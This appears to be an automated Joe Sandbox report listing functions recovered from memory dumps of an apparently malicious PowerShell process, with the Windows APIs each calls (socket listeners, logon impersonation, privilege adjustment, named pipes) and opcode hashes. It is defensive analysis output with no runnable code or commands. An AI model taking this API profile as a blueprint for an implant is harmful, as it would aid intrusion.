Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonsioctlsocketlistensocket
String ID:
API String ID: 1767165869-0
Opcode ID: f4b350054c05ef1cd9ff918b3eebb66b28a02a47d439b5acf83660ca504c3395
Instruction ID: 58a76cfdcf491228b2565e4196740bc7a354a7b8d83289d6d72ca2cd0b6e6305
Opcode Fuzzy Hash: f4b350054c05ef1cd9ff918b3eebb66b28a02a47d439b5acf83660ca504c3395
Instruction Fuzzy Hash: 02210222304754A2EF208F86F658219A7A0F38CFA4F465624EE5A0BFB0CB3CC445AB00

Function 0000022EFA0C6670 Relevance: 9.1, APIs: 6, Instructions: 57networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 0000022EFA0C6698
htons.WS2_32 ref: 0000022EFA0C66A4
socket.WS2_32 ref: 0000022EFA0C66BC
closesocket.WS2_32 ref: 0000022EFA0C66CE
bind.WS2_32 ref: 0000022EFA0C66FB
ioctlsocket.WS2_32 ref: 0000022EFA0C6715

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonlhtonsioctlsocketsocket
String ID:
API String ID: 3910169428-0
Opcode ID: b53a2f792c81892d7b6d7ca8ab412e3f2e468a0ee1017cf91dd071cea0dc5194
Instruction ID: 906cb0c793f7a0132899446ecd1a280b114b3057945957d12f778d296e1337be
Opcode Fuzzy Hash: b53a2f792c81892d7b6d7ca8ab412e3f2e468a0ee1017cf91dd071cea0dc5194
Instruction Fuzzy Hash: 7121AE26210B40A2EF249F61F6583993760F78CBA4F5252259E5947FE0DE3CC94AE700

Function 0000022EFA0CDF50 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0CDCC0: RevertToSelf.ADVAPI32 ref: 0000022EFA0CDCDD

LogonUserA.ADVAPI32 ref: 0000022EFA0CDF98
GetLastError.KERNEL32 ref: 0000022EFA0CDFA2

Part of subcall function 0000022EFA0C5FEC: malloc.LIBCMT ref: 0000022EFA0C6008

Part of subcall function 0000022EFA0BFE54: MultiByteToWideChar.KERNEL32 ref: 0000022EFA0BFE81
Part of subcall function 0000022EFA0BFE54: MultiByteToWideChar.KERNEL32 ref: 0000022EFA0BFEA9

Part of subcall function 0000022EFA0BD044: malloc.LIBCMT ref: 0000022EFA0BD057

ImpersonateLoggedOnUser.ADVAPI32 ref: 0000022EFA0CDFC0
GetLastError.KERNEL32 ref: 0000022EFA0CDFCA

Strings

%s\%s, xrefs: 0000022EFA0CE084

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiUserWidemalloc$ImpersonateLoggedLogonRevertSelf
String ID: %s\%s
API String ID: 3621627092-4073750446
Opcode ID: 21501fd99f5b763e027db7a7b361eaf12fbcf34ba50608c9b89ed7353f562f62
Instruction ID: 2eb07a27f38bd4bea119fbee2442464b1411b042be60441926de1021ebbc0e0b
Opcode Fuzzy Hash: 21501fd99f5b763e027db7a7b361eaf12fbcf34ba50608c9b89ed7353f562f62
Instruction Fuzzy Hash: 27413F20314745A1FF00EBA2FAAD35A63A1E78DBC4F550025A94D5FFB6DE3CC546A740

Function 0000022EFA0BFA1C Relevance: 7.6, APIs: 5, Instructions: 61sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0BFA3D
Sleep.KERNEL32 ref: 0000022EFA0BFAAC
GetTickCount.KERNEL32 ref: 0000022EFA0BFAB2
Sleep.KERNEL32 ref: 0000022EFA0BFACB
closesocket.WS2_32 ref: 0000022EFA0BFAD4

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountSleepTick$closesocket
String ID:
API String ID: 2363407838-0
Opcode ID: 10e278be78da8f1e85a2fadd26c76492043cbdbeff7cfa22a85522b80d216db2
Instruction ID: 3f7bd66fb12823eb6d83d45480e0831ba9567106b04dcc9a70ef3062cf7f7ca5
Opcode Fuzzy Hash: 10e278be78da8f1e85a2fadd26c76492043cbdbeff7cfa22a85522b80d216db2
Instruction Fuzzy Hash: 5F21A72170464461EE20ABA2F65825E6350B78DBE0F464721FDBA8BFF6DE3CC545A701

Function 0000022EFA0CEE8C Relevance: 7.6, APIs: 5, Instructions: 53networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

socket.WS2_32 ref: 0000022EFA0CEEC1
closesocket.WS2_32 ref: 0000022EFA0CEED3
htons.WS2_32 ref: 0000022EFA0CEEE4
bind.WS2_32 ref: 0000022EFA0CEF05
listen.WS2_32 ref: 0000022EFA0CEF1A

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: bindclosesockethtonslistensocket
String ID:
API String ID: 564772725-0
Opcode ID: be1f698a7e4eb4207d6933216863c257059b8865fc596cd8fbc22c7be6d18c17
Instruction ID: 721c30efaa2644c7706737280ca2dfb9bd3ccb10a411cd0e561b56641a564476
Opcode Fuzzy Hash: be1f698a7e4eb4207d6933216863c257059b8865fc596cd8fbc22c7be6d18c17
Instruction Fuzzy Hash: D611032260475492EE20AF91FA2921AB360F78CFE0F060625EE991BFF4CF7CC105A704

Function 0000022EFA0C0B70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

LookupPrivilegeValueA.ADVAPI32 ref: 0000022EFA0C0BEA
AdjustTokenPrivileges.ADVAPI32 ref: 0000022EFA0C0C1A
GetLastError.KERNEL32 ref: 0000022EFA0C0C24

Strings

%s, xrefs: 0000022EFA0C0C32

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID: %s
API String ID: 4244140340-620797490
Opcode ID: bf812f175a1fbc479699b50877281c9aa9b2d5b741073a8283bc0e57be89c079
Instruction ID: db78b00591234d7f65bf2b2182812bdab3e8bcfb6942e21dbdd3b88b03e44df6
Opcode Fuzzy Hash: bf812f175a1fbc479699b50877281c9aa9b2d5b741073a8283bc0e57be89c079
Instruction Fuzzy Hash: 6F215972B00B00A9FB149FA1E5587AC73A5B758B88F4544168E4C9BFA9EF78C614E380

Function 0000022EFA0C5854 Relevance: 6.1, APIs: 4, Instructions: 73sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0000022EFA0C587B
Sleep.KERNEL32 ref: 0000022EFA0C58CA
GetTickCount.KERNEL32 ref: 0000022EFA0C58D0
WSAGetLastError.WS2_32 ref: 0000022EFA0C58DA

Part of subcall function 0000022EFA0C5A20: ioctlsocket.WS2_32 ref: 0000022EFA0C5A42

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTick$ErrorLastSleepioctlsocket
String ID:
API String ID: 1121440892-0
Opcode ID: 7368cb6fa517e1a070c78e6e07bfa46b364e9fef9c30544ba018e77da25e9e41
Instruction ID: 06b3f1a4c6b6441d7042562ec7da67ca6a0c3289ef082e8886a8d60e10864c25
Opcode Fuzzy Hash: 7368cb6fa517e1a070c78e6e07bfa46b364e9fef9c30544ba018e77da25e9e41
Instruction Fuzzy Hash: 42316B36B00B40A6EF10DBA2E5982AC73B9F38CB90F520626DE5D97FA5DE38C515D340

Function 0000022EFA0C76F0 Relevance: 6.0, APIs: 4, Instructions: 32memorythreadCOMMON

Download Yara Rule

APIs

InitializeProcThreadAttributeList.KERNEL32 ref: 0000022EFA0C770E
GetProcessHeap.KERNEL32 ref: 0000022EFA0C7714
HeapAlloc.KERNEL32 ref: 0000022EFA0C7724
InitializeProcThreadAttributeList.KERNEL32 ref: 0000022EFA0C773F

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AttributeHeapInitializeListProcThread$AllocProcess
String ID:
API String ID: 1212816094-0
Opcode ID: 092ee1049558447ca0759a62b312a2f8f202331ccdb130be8b8fda5f5e098b35
Instruction ID: 271d3b911519cfe8377cf5d78d87161fd3c89ab4e87e25807eeb7a65bf11e530
Opcode Fuzzy Hash: 092ee1049558447ca0759a62b312a2f8f202331ccdb130be8b8fda5f5e098b35
Instruction Fuzzy Hash: 3DF0212631464453EF548BB5F5C975A53A0D78C790F565425FA0B4AF74CE3CC444AB00

Function 0000022EF9B3B7B0 Relevance: 5.9, Strings: 4, Instructions: 884COMMONLIBRARYCODE

Download Yara Rule

Strings

ailure #%d - %s, xrefs: 0000022EF9B3C41F, 0000022EF9B3C498, 0000022EF9B3C511, 0000022EF9B3C58A
<, xrefs: 0000022EF9B3BE6E
e ', xrefs: 0000022EF9B3C405, 0000022EF9B3C47E, 0000022EF9B3C4F7, 0000022EF9B3C570
, xrefs: 0000022EF9B3BE63

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: $<$ailure #%d - %s$e '
API String ID: 0-963976815
Opcode ID: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction ID: 2f70d7a9d35031bc7479e1bce26d728f803154bb4e797c50f4ba147576fd9b1b
Opcode Fuzzy Hash: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction Fuzzy Hash: AD92E1B2325A8087DB58CB5DE4A573AB7A1F3C8B84F44512AEB9B87794CE3CC451DB04

Function 0000022EFA0BDA3C Relevance: 4.9, APIs: 3, Instructions: 374memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C6114: htonl.WS2_32 ref: 0000022EFA0C6131

GetLastError.KERNEL32 ref: 0000022EFA0BDD33

Part of subcall function 0000022EFA0CCC00: GetCurrentProcess.KERNEL32 ref: 0000022EFA0CCC8D

HeapCreate.KERNEL32 ref: 0000022EFA0BDCDA
HeapAlloc.KERNEL32 ref: 0000022EFA0BDCF8

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Heap$AllocCreateCurrentErrorLastProcesshtonl
String ID:
API String ID: 3419463915-0
Opcode ID: ec0623d855ca9fea6adc12097b57476b8ed8efbce5d3b57090cc4cf496277255
Instruction ID: 8612554504fa7a9aac0bad0d8e782d54ae22791234dedcfe7bafdb7c0a24e029
Opcode Fuzzy Hash: ec0623d855ca9fea6adc12097b57476b8ed8efbce5d3b57090cc4cf496277255
Instruction Fuzzy Hash: 07E1A562610741A3FF28CBA5FA553AAA3A1F75C384F054125DB8ADBFA2DB3CE045D340

Function 0000022EFA0CDEC8 Relevance: 4.5, APIs: 3, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000022EFA0CDF17
CheckTokenMembership.ADVAPI32 ref: 0000022EFA0CDF2E
FreeSid.ADVAPI32 ref: 0000022EFA0CDF3F

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 133629f3ff4376339bdb4199f1e62c11324afdffa1ae21ac4a70826d2a5797c2
Instruction ID: 6462c2156cb3ec47cf88a60691205ef4dde0d67143a9b1e90d6d8ff13097a014
Opcode Fuzzy Hash: 133629f3ff4376339bdb4199f1e62c11324afdffa1ae21ac4a70826d2a5797c2
Instruction Fuzzy Hash: E4015E73624A418FEB208F60E4893AE33B0F35876EF010909F64946EA9DB7CC159CF40

Function 0000022EFA0DC3B0 Relevance: 3.4, Strings: 2, Instructions: 884COMMONLIBRARYCODE

Download Yara Rule

Strings

<, xrefs: 0000022EFA0DCA6E
, xrefs: 0000022EFA0DCA63

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: $<
API String ID: 0-428540627
Opcode ID: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction ID: b9862f2c2469f3e43299910f0a7de1910dbc3bca859739c3264ec9ff45a42dda
Opcode Fuzzy Hash: b07265f8357a11157a4f9c9ad581af4fb46f207739a0a4220b37d603b0229bef
Instruction Fuzzy Hash: 3392E3B2325A4087DB58CB1DE4A573AB7A1F3C8B84F44512AE79B87BA4CE3CC551DB04

Function 0000022EF9B3C397 Relevance: 2.6, Strings: 2, Instructions: 134COMMON

Download Yara Rule

Strings

ailure #%d - %s, xrefs: 0000022EF9B3C41F, 0000022EF9B3C498, 0000022EF9B3C511, 0000022EF9B3C58A
e ', xrefs: 0000022EF9B3C405, 0000022EF9B3C47E, 0000022EF9B3C4F7, 0000022EF9B3C570

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID: ailure #%d - %s$e '
API String ID: 0-4163927988
Opcode ID: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction ID: 1dd36eb37b7f47dbc6d69a01c69b4af96d6b6a95ac5c643404d7453249084db7
Opcode Fuzzy Hash: aa69cfbe2dfd85e7477dd7a8e83c12114f76cab9aed25d9437113f4cd473f74e
Instruction Fuzzy Hash: 9C612CB62146509BDB24CF1DE4E466AB7E1F3CCB84F84421AE38A87B68CB3CD545DB44

Function 0000022EFA0C0920 Relevance: 1.5, APIs: 1, Instructions: 33pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeA.KERNEL32 ref: 0000022EFA0C098A

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: ffc033c595a008210ccbf7715394fddec234f51f7fbc04560c83c088a3818f65
Instruction ID: 8cdfc71f35d81c91a30e9e59c1217f096b0642703d644405c01957daf3c9174c
Opcode Fuzzy Hash: ffc033c595a008210ccbf7715394fddec234f51f7fbc04560c83c088a3818f65
Instruction Fuzzy Hash: 9C018C32610B42AAEF11CB90F94835A77A1F79C775F564314D6990AFE6EB3CC118EB04

Function 0000022EF9B3CFF0 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction ID: b0909672a71837b2583cf8b00c83119afc506bea2e6f70458d2a7eea0321f952
Opcode Fuzzy Hash: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction Fuzzy Hash: 82525EB22149418BDB18CF1DE4B173AB7A1F3C9B80F44852AE7878BB99CE2CD554DB04

Function 0000022EFA0DDBF0 Relevance: .6, Instructions: 617COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction ID: 7289319a98fc0fd69f5499c9526df5240476a26e0cc2faf47c1825d84e343ddf
Opcode Fuzzy Hash: 598c92a77d3f8dda66df7f00e42631b8bb25fed254ebd76fcbad8f8343bff3d7
Instruction Fuzzy Hash: A55266B221494197DB08CB1CE4A573AB7E1F3C9B80F44852AE7978BBA9CE3DD550DB40

Function 0000022EF9B3C680 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction ID: 2789b90ca248a35f56bd16abef7c8d999e29aa727c3d0a305d9ceb89aece5320
Opcode Fuzzy Hash: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction Fuzzy Hash: 705275B221458187DB18CF1DE4A473AB7E1F3C9B80F44852AE7868BB98CA3DD544DF40

Function 0000022EFA0DD280 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction ID: 111675f752c247ad95ab9a885b7610dea7761bfa44ec7a4872a80f1396e64eb8
Opcode Fuzzy Hash: b966ddc3a4a27f87df3b0e1d0093439f08c10720c9c40116a815356078c1d6ce
Instruction Fuzzy Hash: B15268B221498197DB08CF1DE4A573AB7E1F3CD780F44852AE7868BBA9CA3CD545DB40

Function 0000022EF9B19680 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 037a88b3a0e0121372c1e8929510804f124a0a98294513f128062ea9428e9fbd
Instruction ID: 410bb539b7fc4aef7a495cc9f4b0e386de28e1d9917ace5069d7236e48d79851
Opcode Fuzzy Hash: 037a88b3a0e0121372c1e8929510804f124a0a98294513f128062ea9428e9fbd
Instruction Fuzzy Hash: 95F19822704683A2EF30CB95F6A839E73A1F7A4798F520115DBC987F85EB34C985DB44

Function 0000022EFA0BA280 Relevance: .4, Instructions: 404COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 39230a270b39aa7a03f1acc75e1d4406c9dcc848d7b32e178703d764618bc014
Instruction ID: d9aaaffca6bb1529661b946d2865b2b55e5786523a60238228c849d4abb7c07a
Opcode Fuzzy Hash: 39230a270b39aa7a03f1acc75e1d4406c9dcc848d7b32e178703d764618bc014
Instruction Fuzzy Hash: B0F1BA6231464267EF20CB95F7A839E63A1F79C7C4F920121EA49CBFA5EA3CC905D740

Function 0000022EF9B1CE3C Relevance: .4, Instructions: 374COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
